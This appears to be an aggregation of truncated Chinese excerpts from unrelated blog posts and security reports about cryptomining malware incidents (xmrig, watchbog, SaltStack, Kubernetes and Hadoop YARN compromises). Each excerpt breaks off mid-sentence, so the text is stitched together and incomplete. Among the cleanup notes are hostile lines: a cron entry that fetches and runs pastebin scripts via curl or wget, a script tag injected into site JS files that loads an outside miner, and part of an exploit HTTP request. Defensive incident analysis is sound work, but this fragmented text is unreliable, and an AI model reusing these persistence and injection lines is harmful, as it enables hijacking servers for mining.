问题现象 Linux 服务器收到报警信息,主机 CPU 跑满. 自动创建运行 Docker 容器 xmrig, 导致其他运行中容器被迫停止. 问题原因 通过 top 命令可以看到有一个 xmrig 进程占用了99%的 CPU. 经定位,该进程是一个挖矿木马程序,通过上述截图可以看到进程对应的 PID 为 2647,根据进程 ID 查询一下产生进程的程序路径: ll /proc/2647/exe 查看进程: 尝试处理 首先停掉该 Docker 容器,并删除其对应镜像. 1. 查看计划任务 Linu

描述 SaltStack是一套C/S架构的运维工具,服务端口默认为4505/4506,两个端口如果对外网开放危害非常大,黑客利用SaltStack的远程命令执行漏洞CVE-2020-11651可以直接绕过Salt-Master的认证机制,调用相关函数向Salt-Minion下发指令执行系统命令,最终导致挖矿. 现象 受害Salt-Minion机器上存在挖矿进程salt-minions. tmp目录下存在可疑二进制文件: salt-store salt-minions 排查 确定所有salt-ma

原因是由于Kubernetes Apiserver不安全配置所致,Apiserver提供了资源操作的唯一入口,并提供认证.授权.访问控制.API注册和发现等机制,所以apiserver的安全至关重要. 解决方法步骤 可通过kubectl get rc y1ee115 -o yaml  看到挖矿程序yaml文件 1.杀死挖矿程序 #pkill -9 xmrig 或者 #kill -9 进程号 2.删除相关rc,命令如下 #kubectl delete rc y1ee115 3.firewalld防

服务器上线后,怎么发现总有个 xmrig 的容器在跑,删了还出来 那么恭喜你!!你的服务器已经被入侵了!! $ docker ps IMAGE               COMMAND                  CREATED           STATUS                           PORTS    NAMES linuxrun/cpu2    "./xmrig --algo=cr...."    4 hours ago     Exited (

今天来给大家分享下这两天遇到的一个问题,服务器被挖矿了,把我的排查记录分享下,希望能帮到有需要的同学. 问题原因 多台服务器持续告警CPU过高,服务器为K8s的应用节点,正常情况下CPU使用率都挺低的,通过排查是原因是被挖矿了,下面为定位过程 定位过程 登陆问题主机10.92.0.X,通过执行top命令查看资源使用情况如下 cpu使用率基本跑满(用户态),没有发现可疑的进程,初步怀疑可能是进程在哪里隐藏了 执行命令ps -aux --sort=-pcpu|head -10 嗯哼,藏得够深的,可还

第1章 情况 1)服务器收到cpu报警,cpu被占用达到100%,登录服务器查看,发现cpu被一个watchbog的进程占满了,如下图所示: 2)并且无论如何都杀不掉,用kill杀掉后,其还是会隔一会自动起来,很明显被加入了定时任务,果不其然系统自带的定时任务已经被入侵了,如下所示: */ * * * * (curl -fsSL https://pastebin.com/raw/AgdgACUD||wget -q -O- https://pastebin.com/raw/AgdgACUD||py

背景: 突然有一天,服务器访问很慢很慢,进程查看发现CPU是100%,而且没有任何降低的意思 收集: 打开任务管理器,进程查看中CPU排序,发现一个System的进程,第一想法以为是空闲利用,发现结束掉之后瞬间又起来的 查了下描述中写的“Xmrig miner ”,全是挖矿病毒,试了好几个方法,不行 整理: 自动重启,大概率是病毒,描述中写的“Xmrig miner ” 最后,进程中右键--属性--安全--编辑权限-拒绝,结束进程后,再未重启 汇总: [Xmrig miner ]CPU 100%

转自:https://www.360zhijia.com/anquan/417114.html 0x01 快速特征排查 TOP显示CPU占用高,但是没有高占用的进程 存在与未知服务器13531端口建立的TCP连接 文件/etc/ld.so.preload中指向了/usr/local/lib/libntp.so 存在可疑执行base64编码的python进程 0x02 快速清除 #!/bin/bash ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v g

XMR挖矿教程 XMR介绍 门罗币(Monero,代号XMR)是一个创建于2014年4月开源加密货币,它着重于隐私.分权和可扩展性.与自比特币衍生的许多加密货币不同,Monero基于CryptoNote协议,并在区块链模糊化方面有显著的算法差异.Monero的模块化代码结构得到了比特币核心维护者之一的Wladimir J. van der Laan的赞赏.Monero在2016年经历了市值(从5百万美元至1.85亿美元)和交易量的快速增长,这部分是因为它在2016年夏季末期得到了主要的暗网市场A

一 挖矿病毒简介  攻击者利用相关安全隐患向目标机器种植病毒的行为. 二 攻击方式 攻击者通常利用弱口令.未授权.代码执行.命令执行等漏洞进行传播.示例如下: 示例1:   POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Len

此次服务器被植入挖矿程序发现起来较为巧合,首先是上周三开始,我通过sonatype/nexus3搭建的仓库间歇性崩溃,但是每次重新start一下也能直接使用所以没有彻底清查,去docker logs里查看发现是执行bash命令和powershell命令出错,没有想明白是什么原因. 后来恰好ES更新7.0版本了,我一看“呦呵,7.0里面连type都没有了?”赶紧跟个风,于是把我运行很长时间的ES5.6+kibana5.6的镜像删除了,去官网pull了最新的ES和kibana镜像.在启动的过程中ES

转自:https://blog.csdn.net/hgx13467479678/article/details/82347473 1,cpu 100%, 用top 查看cpu100 2,删掉此进程 cpu还是 100% 3,估计是进程被隐藏了 4,定时任务多了一个执行任务 5:打开连接 https://pastebin.com/raw/xbY7p5Tb 获取如下内容 6:打开 https://pastebin.com/raw/uuYVPLXd  ,发现是一个Base64编码字符串, 7:用Bas

MsraMiner: 潜伏已久的挖矿僵尸网络 2017 年 11 月底,我们的 DNSMon 系统监测到几个疑似 DGA 产生的恶意域名活动有异常.经过我们深入分析,确认这背后是一个从 2017 年 5 月份运行至今的大型挖矿僵尸网络(Mining Botnet).此僵尸网络最新的核心样本压缩包文件名为 MsraReportDataCache32.tlb ,我们将其命名为MsraMiner Botnet. 该僵尸网络的特征包括: 运行时间:2017 年 5 月份运行至今 传播方式: 利用 NSA

一.登录 攻击者如何登录系统未能查出,所有日志已被清除.为防万一,把系统中没用的用户都删掉并修改其他用户密码. 二.被攻击后的表象 1.服务器资源被大量占用,资源占用率飙升: 2.服务器所有JS文件被篡改,向输出页面增加了一个script标签(document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4c

0x00 前言 ​ 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升高,风扇噪声增大等问题. 0x01 应急场景 ​ 某天上午重启服务器的时候,发现程序启动很慢,打开任务管理器,发现cpu被占用接近100%,服务器资源占用严重. 0x02 事件分析 ​ 登录网站服务器进行排查,发现多个异常进程: 分析进程参数: wmic process get caption,co

0x00 前言 ​ 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue).web攻击多种漏洞(如Tomcat弱口令攻击.Weblogic WLS组件漏洞.Jboss反序列化漏洞.Struts2远程命令执行等),导致大量服务器被感染挖矿程序的现象 . 0x01 应急场景 ​ 某天,安全管理员在登录安全设备巡检时,发现某台

第一步:发现告警 Suricata发现特征字符串jsonrpc,这个是匹配挖矿木马的一个重要特征.于是开始分析告警信息: 告警中可以提取出的有效信息如下: 目标IP:149.28.199.108 目标IP:443 其他的有效信息,几乎无. 第二步:定位受害者 根据受害者的源IP定位到了接入层交换机接口假设为GE1/0/21,根据跳线架寻找工位定位到一台Windows笔记本电脑. 第三步:艰难排查 定位大法一:寻找已知的挖矿木马 开启对应的路径例如 C:\Windows\ C:\Windows\s

发现: 网站首页被恶意更改 网站的关键词和描述被恶意更改 服务器和只要访问此服务器上的网页cup 直线上升100% 排查代码发现js 文件被恶意更改,访问了挖矿网站 操作:删除js 里面的恶意代码,更改了账号. 网站查询得知:网站被XMR 恶意挖矿,服务器已经被攻击. 建议措施: (1)账号加固: (2)系统资源.网络.进程监控: (3)检查系统是否有恶意资源滥用情况(ELF挖矿程序): (4)检查系统是否有恶意JS网页挖矿脚本(网页挖矿脚本): (5)其他 附带:网络说明 https://ww

用户为dr.who,问下内部使用人员,都没有任务在跑: 结论: 恭喜你,你中毒了,攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警 用top命令发现cpu使用了360%多,系统会很卡. 解决办法: 1,通过查看占用cpu高得进程,kill掉此进程 2,检查/tmp和/var/tmp目录,删除java.ppc.w.conf等异常文件 3 ,通过crontab -l 查看有一个* * * * * wget

欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 一.背景情况 5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案. 二. 漏洞说明 Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管